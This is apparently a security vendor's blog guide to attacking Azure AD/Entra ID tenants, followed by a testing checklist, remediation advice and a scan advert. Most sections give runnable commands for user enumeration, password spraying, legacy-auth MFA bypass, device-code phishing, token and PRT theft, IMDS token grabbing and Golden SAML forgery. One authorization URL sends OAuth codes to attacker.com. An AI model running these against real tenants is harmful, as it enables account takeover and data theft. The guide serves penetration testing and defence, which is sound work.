Azure Active Directory (Entra ID) Penetration Testing: Attacks, Tools, and Enumeration

Azure Active Directory — rebranded by Microsoft as Entra ID in 2023 — is the identity backbone for more than 600 million organizations. Every Microsoft 365 tenant, every Azure subscription, every Intune-enrolled device authenticates through it. That makes it the highest-value single target in modern enterprise pentesting: compromise a privileged identity in Entra ID and you often have the keys to every SaaS application, every cloud resource, and the on-premises environment too.

This guide covers the full Entra ID attack surface from an offensive perspective — tenant reconnaissance, credential attacks, token abuse, Conditional Access bypass, PRT exploitation, and privilege escalation paths — with real tooling and command-line examples throughout. The on-premises Active Directory attack playbook (Kerberoasting, DCSync, etc.) is covered in our Active Directory Penetration Testing guide. This guide focuses specifically on the cloud identity layer.

Why Entra ID Is a High-Value Target

On-premises Active Directory was designed for a perimeter-based world. Authentication happened on the corporate network, Domain Controllers were reachable only from inside the firewall, and the attack surface was bounded by physical infrastructure. Entra ID inverts this entirely: authentication endpoints are globally reachable, token issuance happens over HTTPS from any network, and the "domain controller" equivalent is a Microsoft-managed service you cannot touch.

The shift to cloud identity has introduced several structural attack surfaces that simply didn't exist on-prem:

Tenant Enumeration and Reconnaissance

Before attacking credentials, map the tenant's configuration. Microsoft exposes a significant amount of information about any tenant without authentication.

OpenID Configuration and Tenant Discovery

The OpenID Connect discovery endpoint reveals the tenant ID and authorization endpoints for any domain:

# Discover tenant ID and endpoints for any domain
curl -s "https://login.microsoftonline.com/targetdomain.com/.well-known/openid-configuration" | python3 -m json.tool

# The tenant ID appears in the issuer field:
# "issuer": "https://login.microsoftonline.com/{tenant-id}/v2.0"

# Also works with the v1 endpoint
curl -s "https://login.microsoftonline.com/targetdomain.com/v2.0/.well-known/openid-configuration"

The GetTenantLoginEndpoints endpoint reveals whether a domain uses managed (password hash sync / pass-through auth) or federated (ADFS/third-party IdP) authentication:

# Check authentication type — federated vs managed
curl -s "https://login.microsoftonline.com/getuserrealm.srf?login=anyuser@targetdomain.com&xml=1"

# NameSpaceType: Federated = ADFS or third-party IdP
# NameSpaceType: Managed = password hash sync or pass-through auth
# Federated tenants expose AuthURL pointing to the ADFS instance

AADInternals for Tenant Recon

AADInternals (by Dr Nestori Syynimaa) is the most comprehensive Entra ID offensive toolkit available. Start reconnaissance with its discovery functions:

# Install AADInternals
Install-Module AADInternals -Scope CurrentUser

# Enumerate tenant information for a domain
Import-Module AADInternals
Get-AADIntLoginInformation -UserName "anyuser@targetdomain.com"

# Discover all domains registered to the tenant
Invoke-AADIntReconAsOutsider -DomainName "targetdomain.com" | Format-Table

# This reveals:
# - Tenant ID
# - All domain aliases (including onmicrosoft.com subdomain)
# - Federation type per domain
# - Whether desktop SSO (seamless SSO) is enabled
# - MX and SPF records for each domain

Enumerating Valid User Accounts (Unauthenticated)

Azure AD leaks whether a username is valid through response timing and error codes on the authentication endpoint. This is not a brute-force — it's a single unauthenticated request per username that returns a definitive valid/invalid signal:

# AADInternals user enumeration (no credentials required)
# Uses the CredentialType endpoint which differentiates valid vs invalid users
Invoke-AADIntUserEnumerationAsOutsider -UserNames @(
    "admin@targetdomain.com",
    "john.doe@targetdomain.com",
    "jdoe@targetdomain.com",
    "helpdesk@targetdomain.com"
)

# Bulk enumeration from a list
Get-Content userlist.txt | Invoke-AADIntUserEnumerationAsOutsider

The endpoint used is https://login.microsoftonline.com/common/GetCredentialType. Response field IfExistsResult: 0 means valid user, IfExistsResult: 1 means invalid. This enumeration does not trigger Smart Lockout or sign-in logs for non-existent accounts — only valid accounts appear in the Entra ID sign-in logs when credentials are subsequently tested.

MicroBurst and ROADtools

MicroBurst covers Azure service enumeration (storage accounts, function apps, virtual machines) and complements identity-focused tools:

# MicroBurst storage account and service discovery
Import-Module MicroBurst.psm1
Invoke-EnumerateAzureSubDomains -Base "targetcompany" -Verbose

# ROADtools for authenticated post-compromise enumeration
pip install roadtools roadrecon
roadrecon auth -u user@targetdomain.com -p Password123
roadrecon gather
roadrecon gui  # Launches web UI at http://localhost:5000

ROADtools is particularly valuable post-compromise: once you have a valid access token, it dumps the entire Entra ID directory — users, groups, applications, service principals, conditional access policies, and devices — into a local SQLite database for offline analysis.

Password Spraying Against Azure AD

Azure AD implements Smart Lockout rather than traditional account lockout. Smart Lockout tracks familiar vs unfamiliar locations and applies lockout thresholds independently per-location. The default threshold is 10 failed attempts before lockout, with 60-second lockout duration doubling on each subsequent lockout. Critically, Smart Lockout is per-user-per-location, not per-user globally — a smart sprayer rotates IPs or uses distributed infrastructure to stay under the threshold at each location.

MSOLSpray

# MSOLSpray — classic Azure AD password sprayer
git clone https://github.com/dafthack/MSOLSpray
Import-Module MSOLSpray.ps1

# Basic spray — 1 password against many usernames
Invoke-MSOLSpray -UserList userlist.txt -Password "Winter2026!" -Verbose

# With output file
Invoke-MSOLSpray -UserList userlist.txt -Password "Spring2026!" -OutFile valid-creds.txt

# FireProx integration for rotating source IPs via AWS API Gateway
# (prevents IP-based throttling)
Invoke-MSOLSpray -UserList userlist.txt -Password "Company2026" -URL https://randomid.execute-api.us-east-1.amazonaws.com/fireprox

Spray365

Spray365 builds on MSOLSpray with a smarter execution model — it generates an execution plan file first, then executes it, allowing pause/resume and deliberate jitter between attempts:

# Generate execution plan (doesn't spray yet)
python3 spray365.py generate \
    --output spray_plan.json \
    --user-file users.txt \
    --password-file passwords.txt \
    --delay 30 \
    --jitter 15

# Review the plan
python3 spray365.py view --spray-file spray_plan.json

# Execute (can be stopped and resumed)
python3 spray365.py spray --spray-file spray_plan.json

Legacy Authentication Endpoints — The MFA Bypass

This is the most significant structural weakness in many Entra ID deployments. Legacy authentication protocols — Basic Auth over IMAP, SMTP, POP3, Exchange ActiveSync, and the legacy ROPC (Resource Owner Password Credentials) flow — authenticate directly against Entra ID without evaluating Conditional Access policies. If MFA is enforced via Conditional Access rather than per-user MFA settings, legacy auth bypasses it entirely.

# Test IMAP legacy auth — bypasses MFA and Conditional Access
curl -v --ssl-reqd \
    --url "imaps://outlook.office365.com:993" \
    --user "user@targetdomain.com:Password123"

# SMTP legacy auth
curl -v --ssl-reqd \
    --url "smtps://smtp.office365.com:587" \
    --user "user@targetdomain.com:Password123" \
    --mail-from "user@targetdomain.com" \
    --mail-rcpt "test@targetdomain.com"

# ROPC grant — returns full OAuth tokens, no MFA required if Conditional Access not blocking it
curl -X POST "https://login.microsoftonline.com/targetdomain.com/oauth2/v2.0/token" \
    -d "grant_type=password" \
    -d "client_id=1b730954-1685-4b74-9bfd-dac224a7b894" \
    -d "username=user@targetdomain.com" \
    -d "password=Password123" \
    -d "scope=https://graph.microsoft.com/.default"

The client ID used above (1b730954-1685-4b74-9bfd-dac224a7b894) is the well-known Azure PowerShell application ID, which has broad Graph API permissions and is pre-consented in most tenants. Attackers routinely use this or other first-party Microsoft app IDs that don't require admin consent.

To check whether a tenant has legacy auth enabled, look for BasicAuthentication in the sign-in logs or use AADInternals:

# Check tenant authentication methods policy
Get-AADIntTenantAuthPolicy

OAuth 2.0 and Token Theft

Device Code Phishing

The Device Code Flow (RFC 8628) was designed for input-constrained devices like smart TVs. An attacker initiates the flow, receives a user code and verification URL, then socially engineers the target into visiting the URL and entering the code. The attacker's polling loop receives fully authenticated tokens — including refresh tokens with the user's full session — without ever knowing the user's password.

# Step 1: Initiate device code flow and get the user code
curl -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \
    -d "client_id=1b730954-1685-4b74-9bfd-dac224a7b894" \
    -d "scope=https://graph.microsoft.com/.default offline_access"

# Response includes:
# "user_code": "ABCDEFGHI"
# "verification_uri": "https://microsoft.com/devicelogin"
# "device_code": ""

# Step 2: Social engineer the user — send them the URL and user code
# "Please visit https://microsoft.com/devicelogin and enter code ABCDEFGHI
#  to authenticate your device for the security audit."

# Step 3: Poll for token (repeat every 5 seconds until user authenticates)
curl -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
    -d "grant_type=urn:ietf:params:oauth:grant-type:device_code" \
    -d "client_id=1b730954-1685-4b74-9bfd-dac224a7b894" \
    -d "device_code="

TokenTactics and AADInternals both automate device code phishing:

# TokenTactics device code phishing
Import-Module TokenTactics.ps1
Get-AzureToken -Client MSTeams  # Initiates flow, user code auto-displayed

# Once victim authenticates, tokens are automatically captured
# Use the refresh token to get tokens for other resources
RefreshTo-MSGraphToken -domain targetdomain.com -refreshToken $refreshToken

Token Theft from Browser Storage and Azure Cloud Shell

If you have code execution on a workstation or server, access tokens are available from multiple locations:

# Steal tokens from Azure CLI token cache (Linux/macOS)
cat ~/.azure/msal_token_cache.json

# Azure CLI on Windows
type %USERPROFILE%\.azure\msal_token_cache.json

# Azure PowerShell token cache
# Tokens stored in encrypted DPAPI blob — use SharpDPAPI to decrypt
.\SharpDPAPI.exe triage

# Azure Cloud Shell — tokens stored in session storage
# If you have XSS or JavaScript execution in the Azure Portal:
# Object.entries(sessionStorage).filter(([k]) => k.includes('token'))

# Microsoft Edge/Chrome — steal cached tokens from browser profile
# Tokens cached by MSAL in localStorage under keys prefixed with:
# "msal.{client-id}.{tenant-id}"

Replaying Stolen Refresh Tokens

Refresh tokens are the crown jewel — they're valid for up to 90 days by default and can be exchanged for access tokens to any resource the user has consented to. A stolen refresh token gives persistent access without needing the user's credentials or MFA:

# Exchange a stolen refresh token for a Graph API access token
curl -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
    -d "grant_type=refresh_token" \
    -d "client_id=1b730954-1685-4b74-9bfd-dac224a7b894" \
    -d "refresh_token=" \
    -d "scope=https://graph.microsoft.com/.default"

# TokenTactics — refresh to different resources
RefreshTo-AzureManagementToken -domain targetdomain.com -refreshToken $rt
RefreshTo-SharePointToken -domain targetdomain.com -refreshToken $rt
RefreshTo-OutlookToken -domain targetdomain.com -refreshToken $rt

Token lifetime can be extended to never-expire through Entra ID token lifetime policies. Many organizations have inherited legacy configurations where refresh tokens genuinely never expire — check this in your assessment:

# Check token lifetime policies (requires authenticated Graph access)
GET https://graph.microsoft.com/v1.0/policies/tokenLifetimePolicies
GET https://graph.microsoft.com/v1.0/policies/tokenIssuancePolicies

Conditional Access Policy Bypass

Conditional Access (CA) is Entra ID's policy enforcement engine — it evaluates signals (user, device, location, application, risk score) and enforces controls (MFA, compliant device, block). Understanding its evaluation logic is essential to finding bypass paths.

Legacy Authentication Protocol Bypass

As noted above, legacy auth protocols don't go through Conditional Access evaluation at all. If the tenant hasn't explicitly blocked legacy authentication via a CA policy or authentication methods policy, spraying via IMAP/SMTP/ROPC is a complete bypass for any MFA or device compliance requirement.

Named Location Bypass

Many organizations configure CA policies to trust traffic from named locations (corporate IP ranges) and skip MFA for those locations. If you identify the corporate IP ranges (via OSINT, BGP lookups, or SPF records), routing traffic through a VPS in those ranges or using a proxy that appears to originate from them can bypass MFA:

# Identify corporate IP ranges via SPF record
dig TXT targetdomain.com | grep "v=spf1"
# ip4: entries often include corporate egress IPs

# BGP lookups for the organization's ASN
# whois -h whois.radb.net -- '-i origin AS12345'

# Once IP ranges are identified, use a VPS in those ranges
# or compromise a system already in those ranges

Compliant Device Claim Bypass

CA policies requiring "compliant device" (Intune compliance) or "Hybrid Azure AD Joined" can be bypassed if you obtain a Primary Refresh Token (PRT) from a compliant device — the PRT carries device claims that satisfy the compliance requirement. See the PRT section below.

CA Policy Evaluation Logic Gaps

A common misconfiguration is creating CA policies that target specific applications while leaving the "All cloud apps" baseline uncovered. Enumerate all CA policies to find gaps:

# Enumerate all Conditional Access policies (requires privileged read access)
GET https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies

# AADInternals — dump CA policies
Get-AADIntConditionalAccessPolicies

# Look for:
# - Policies that exclude break-glass accounts (these are intentional but document them)
# - Policies scoped to specific apps (what apps are NOT covered?)
# - Policies that exclude service accounts or legacy app service principals
# - "Report-only" mode policies (not enforced — often forgotten)
# - Policies excluding specific user groups

Primary Refresh Token (PRT) Attacks

The Primary Refresh Token is the most powerful credential artifact in a hybrid or cloud-joined Windows environment. It's a long-lived token (14 days, auto-renewed) issued by Entra ID to Azure AD Joined or Hybrid Azure AD Joined Windows devices. The PRT is stored in LSASS memory and carries device identity claims — meaning it can satisfy "requires compliant device" or "requires Hybrid Azure AD Joined" Conditional Access policies. Stealing a PRT gives you a credential that bypasses MFA and device compliance checks.

PRT Extraction with Mimikatz and SharpDPAPI

# Extract PRT from LSASS using Mimikatz
# Requires SYSTEM or SeDebugPrivilege
privilege::debug
sekurlsa::cloudap

# This dumps the PRT and associated key material (ProofOfPossesionKey)
# The PRT alone is not enough — you also need the session key to sign nonces

# Alternative: BrowserCore.exe DLL injection
# The PRT is also accessible via the WAM (Web Account Manager) broker
# SharpDPAPI can extract it from the user's DPAPI-protected credential store

.\SharpDPAPI.exe machinetriage
.\SharpDPAPI.exe certificates /machine

Using PRTs with RequestAADRefreshToken

Once you have a PRT and its associated session key, you can use it to obtain OAuth tokens for any resource — including tokens that satisfy Conditional Access policies requiring MFA or compliant device, because the PRT carries those claims:

# ROADtoken — use PRT to get tokens
# Requires the PRT value and the session key (both from Mimikatz sekurlsa::cloudap)
roadtoken -p  -k 

# The resulting tokens include the device claim, satisfying compliant-device CA policies
# Use these tokens with ROADtools or direct Graph API calls

# AADInternals — simulate PRT-based authentication
$prtKeys = Get-AADIntUserPRTKeys -PRT $prt -SessionKey $sessionKey
Get-AADIntAccessTokenUsingPRT -PRTKeys $prtKeys

Cloud Kerberos Trust

The Cloud Kerberos Trust model (introduced as an alternative to Certificate Trust for Windows Hello for Business) stores a Kerberos TGT inside the PRT. Compromise of the PRT in this model also gives you a Kerberos TGT usable against on-premises resources — a direct cloud-to-on-prem lateral movement path without needing to touch AD Connect or the on-prem domain controllers directly.

Privilege Escalation in Azure AD

Abusing Privileged Identity Management (PIM)

Privileged Identity Management grants time-bound, just-in-time access to privileged roles. From an attacker's perspective, PIM is both a target and a detection mechanism. Enumerate eligible role assignments — accounts that can activate privileged roles — as these are high-value targets:

# Enumerate PIM-eligible role assignments via Graph API
GET https://graph.microsoft.com/v1.0/roleManagement/directory/roleEligibilitySchedules

# List all active role assignments
GET https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignmentScheduleInstances

# If you compromise an account eligible for Global Administrator via PIM,
# activate the role (this will be logged, but the window opens immediately)
POST https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignmentScheduleRequests
{
  "action": "selfActivate",
  "principalId": "",
  "roleDefinitionId": "62e90394-69f5-4237-9190-012177145e10",  // Global Administrator
  "directoryScopeId": "/",
  "justification": "Security assessment",
  "scheduleInfo": { "startDateTime": "2026-06-28T00:00:00Z", "expiration": { "type": "AfterDuration", "duration": "PT1H" } }
}

App Registration Attack Surface

App registrations (service principals) are a frequently overlooked escalation path. A single app with excessive API permissions and a stolen client secret gives you persistent access independent of any user account:

# Enumerate all app registrations and their API permissions
GET https://graph.microsoft.com/v1.0/applications?$select=displayName,appId,requiredResourceAccess

# Find apps with high-value permissions (Mail.ReadWrite, Directory.ReadWrite.All, etc.)
GET https://graph.microsoft.com/v1.0/servicePrincipals?$filter=appRoleAssignmentRequired eq false

# List all client secrets (can't read values, but can see expiry — look for never-expiring secrets)
GET https://graph.microsoft.com/v1.0/applications/{id}/passwordCredentials

# If you can add a new client secret to an existing app with high permissions:
POST https://graph.microsoft.com/v1.0/applications/{id}/addPassword
{
  "passwordCredential": {
    "displayName": "Backup key",
    "endDateTime": "2030-01-01T00:00:00Z"
  }
}

Redirect URI Manipulation and Illicit Consent Grants

If an app registration has a misconfigured or wildcard redirect URI, an attacker can craft an authorization request that redirects the OAuth callback (with the authorization code or token) to an attacker-controlled URL:

# Craft a malicious authorization URL targeting a misconfigured app
# Find apps with loose redirect URIs first
GET https://graph.microsoft.com/v1.0/applications?$select=displayName,web

# Target URL structure for code theft via open redirect in redirect_uri
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
  client_id=&
  response_type=code&
  redirect_uri=https://attacker.com/callback&
  scope=https://graph.microsoft.com/.default&
  state=csrf_token

Managed Identity Abuse

Managed Identities are automatically provisioned identities for Azure resources (VMs, Function Apps, Container Instances, etc.). If you compromise an Azure resource — through RCE, SSRF, or stolen credentials — you can access the Instance Metadata Service (IMDS) to retrieve an access token for the managed identity without any credentials:

# From code executing inside an Azure resource (VM, Function App, etc.)
# Get a token for the managed identity — no credentials required
curl -s -H "Metadata: true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Parse the access token
TOKEN=$(curl -s -H "Metadata: true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/" | \
    python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

# Use the token against Graph API or Azure Management API
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/me"

# Check what Azure RBAC roles the managed identity has
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://management.azure.com/subscriptions/{sub-id}/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&\$filter=principalId eq '{managed-identity-object-id}'"

Managed identities with Contributor or Owner roles on subscriptions or resource groups are a direct path to full Azure resource control. Managed identities with Directory roles (Global Reader, User Administrator) are a path to Entra ID enumeration and privilege escalation.

Microsoft Graph API Abuse

The Microsoft Graph API is the unified interface for all Microsoft 365 and Azure AD data. With a valid access token — however obtained — it becomes a powerful enumeration engine. Understanding the permission scopes determines what you can read or write:

Permission Type Access Level
User.Read Delegated Read own profile only
User.ReadBasic.All Delegated Read basic profile of all users
User.Read.All Application Read full profiles of all users
Directory.Read.All Application Read all directory objects (users, groups, apps, roles)
Directory.ReadWrite.All Application Read and write all directory objects — effectively tenant admin
RoleManagement.ReadWrite.Directory Application Assign any directory role to any principal
Mail.ReadWrite Application Read and write all users' mail
# With a valid token, enumerate all users
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/users?$select=displayName,userPrincipalName,jobTitle,officeLocation,mobilePhone"

# Enumerate all groups and members
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/groups?$select=displayName,description,groupTypes,membershipRule"

# Find all Global Administrators
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/directoryRoles?$filter=displayName eq 'Global Administrator'"
# Then get members:
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/directoryRoles/{role-id}/members"

# Enumerate all app registrations and their permissions
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/applications?$select=displayName,appId,requiredResourceAccess,passwordCredentials"

# Find service principals with application-level permissions (dangerous)
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/servicePrincipals?$select=displayName,appRoleAssignments"

# List all Conditional Access policies
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies"

# Enumerate Entra ID registered and joined devices
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/devices?$select=displayName,operatingSystem,isCompliant,registrationDateTime"

ROADtools automates all of this enumeration and builds a relational database for graph analysis:

# Authenticated enumeration with ROADtools
roadrecon auth --access-token $TOKEN
roadrecon gather --mfa
roadrecon gui

# Or gather with refresh token
roadrecon auth -r $REFRESH_TOKEN
roadrecon gather

Pass-the-PRT and Golden SAML

Pass-the-PRT

Pass-the-PRT is the cloud equivalent of Pass-the-Hash. You extract a PRT from one device and replay it from another system to authenticate as that user — inheriting all device claims including MFA satisfaction and device compliance. The attack requires the PRT value plus the session key (stored encrypted in LSASS via the CloudAP provider):

# Extract PRT and session key with Mimikatz
# Run as SYSTEM
privilege::debug
sekurlsa::cloudap
# Output includes:
# * CloudAP *
# PRT: 
# Session Key: 

# Import PRT into a Chrome browser session using BrowserCore.exe or
# the Chrome extension approach (RequestAADRefreshToken):

# Step 1: Get a nonce from Entra ID
curl -s "https://login.microsoftonline.com/common/oauth2/token" \
    -d "grant_type=srv_challenge"
# Returns: {"Nonce": ""}

# Step 2: Sign the nonce with the PRT session key and POST to the PRT endpoint
# This is automated by tools like ROADtoken or the Mimikatz kerberos::ptt equivalent

# roadtoken (Go implementation)
./roadtoken -prt  -prtSessionKey 

Golden SAML

Golden SAML applies to tenants federated with ADFS (or a third-party SAML IdP). ADFS signs SAML assertions using a private key stored on the ADFS server. An attacker who compromises the ADFS server and extracts the token signing certificate can forge SAML assertions for any user in the tenant — including Global Administrators — without needing their credentials or interacting with Entra ID at all.

# Extract ADFS token signing certificate from the ADFS server
# Requires admin/SYSTEM access on the ADFS server

# ADFSDump — dedicated tool for ADFS credential extraction
git clone https://github.com/mandiant/ADFSDump
.\ADFSDump.exe

# This extracts:
# - Token signing certificate (private key)
# - DKM (Distributed Key Management) keys stored in AD
# - Encrypted token signing certificate from ADFS configuration database

# Alternatively, via the ADFS configuration database directly
# (usually WID at \\.\pipe\MICROSOFT##WID\tsql\query)

# Once you have the private key, use ADFSpoof to forge assertions
git clone https://github.com/mandiant/ADFSpoof
pip install -r requirements.txt
python3 ADFSpoof.py \
    -b ADFSdump_EncryptedPfx.bin \
    -s ADFSdump_DKMkey.bin \
    --server sts.targetdomain.com \
    microsoft365 \
    --upn admin@targetdomain.com \
    --objectguid 

Silver SAML

Silver SAML (2024) is a variant that doesn't require ADFS at all. It targets Entra ID's enterprise application SAML integrations where the organization has uploaded a custom signing certificate to a SAML-based SSO application. If an attacker can extract that private key — from a misconfigured secrets manager, compromised certificate store, or overprivileged service account — they can forge SAML assertions for that specific application without touching ADFS or Entra ID itself. The forged assertion passes Entra ID's verification because the organization explicitly configured that certificate as trusted.

Testing Methodology: Ordered Checklist

Phase 1 — Unauthenticated Reconnaissance
  • Resolve tenant ID via /.well-known/openid-configuration
  • Enumerate all domains and aliases via AADInternals Invoke-AADIntReconAsOutsider
  • Identify authentication type (managed vs federated) per domain
  • Check for seamless SSO enablement (kerberos realm exposure)
  • Enumerate valid usernames via GetCredentialType endpoint
  • Identify ADFS infrastructure if federated (URL, version, endpoints)
  • Check for legacy authentication endpoint availability (IMAP, SMTP, EWS)
Phase 2 — Credential Attacks
  • Password spray via MSOLSpray or Spray365 (1 password per day, monitor for lockout)
  • Test legacy auth endpoints (IMAP/SMTP/ROPC) independently — these bypass MFA
  • Device code phishing if social engineering is in scope
  • Check for publicly exposed credentials (GitHub, Pastebin, exposed env files)
Phase 3 — Post-Authentication Enumeration
  • Dump full directory with ROADtools (users, groups, apps, service principals, CA policies)
  • Enumerate CA policies — find gaps (excluded users, specific apps, report-only policies)
  • Enumerate PIM-eligible role assignments — who can activate what?
  • Find overprivileged app registrations (Directory.ReadWrite.All, Mail.ReadWrite, etc.)
  • Check client secret expiry dates — look for never-expiring secrets
  • Enumerate managed identities and their Azure RBAC + directory role assignments
  • Check token lifetime policies — are refresh tokens set to never expire?
  • Look for consent grants — users who have granted third-party apps excessive permissions
Phase 4 — Privilege Escalation
  • Attempt PIM role activation if eligible role found
  • Try to add client secrets to high-permission app registrations
  • Exploit IMDS from any accessible Azure compute resources
  • Test redirect URI manipulation on misconfigured app registrations
  • Extract PRTs from hybrid-joined devices if on-prem access available
  • Target ADFS token signing certificate if federated

Remediation Guidance

Block Legacy Authentication

This is the single highest-impact control for most organizations. Create a Conditional Access policy that blocks all legacy authentication protocols:

# CA policy targeting legacy auth clients
# Conditions > Client apps: Exchange ActiveSync clients + Other clients
# Grant: Block access
# Apply to: All users (with break-glass account exclusion)

# Also enforce via authentication methods policy:
# Entra Admin Center > Security > Authentication methods > Authentication strengths

Conditional Access Baselines

Restrict Application Consent

# Disable user consent for third-party applications entirely
# Or restrict to verified publishers with low-risk permissions only
# Entra Admin Center > Enterprise Applications > Consent and permissions

# Enable admin consent workflow so users can request consent
# rather than granting it themselves

# Audit existing consent grants
GET https://graph.microsoft.com/v1.0/oauth2PermissionGrants?$filter=consentType eq 'AllPrincipals'

Privileged Identity Management

App Registration Hygiene

Token Lifetime and Refresh Token Policies

PRT and Hybrid Identity Protection

Azure AD and Entra ID misconfigurations are widespread in production — from legacy auth endpoints left open "temporarily" years ago, to overprivileged service principals with never-expiring secrets, to Conditional Access gaps that leave entire user populations exposed.

Ironimo scans for cloud identity misconfigurations, legacy authentication exposure, OAuth consent grant anomalies, and web application vulnerabilities using the same tools professional pentesters use — automatically, on your schedule. No manual setup required.

Start free scan
← Back to Blog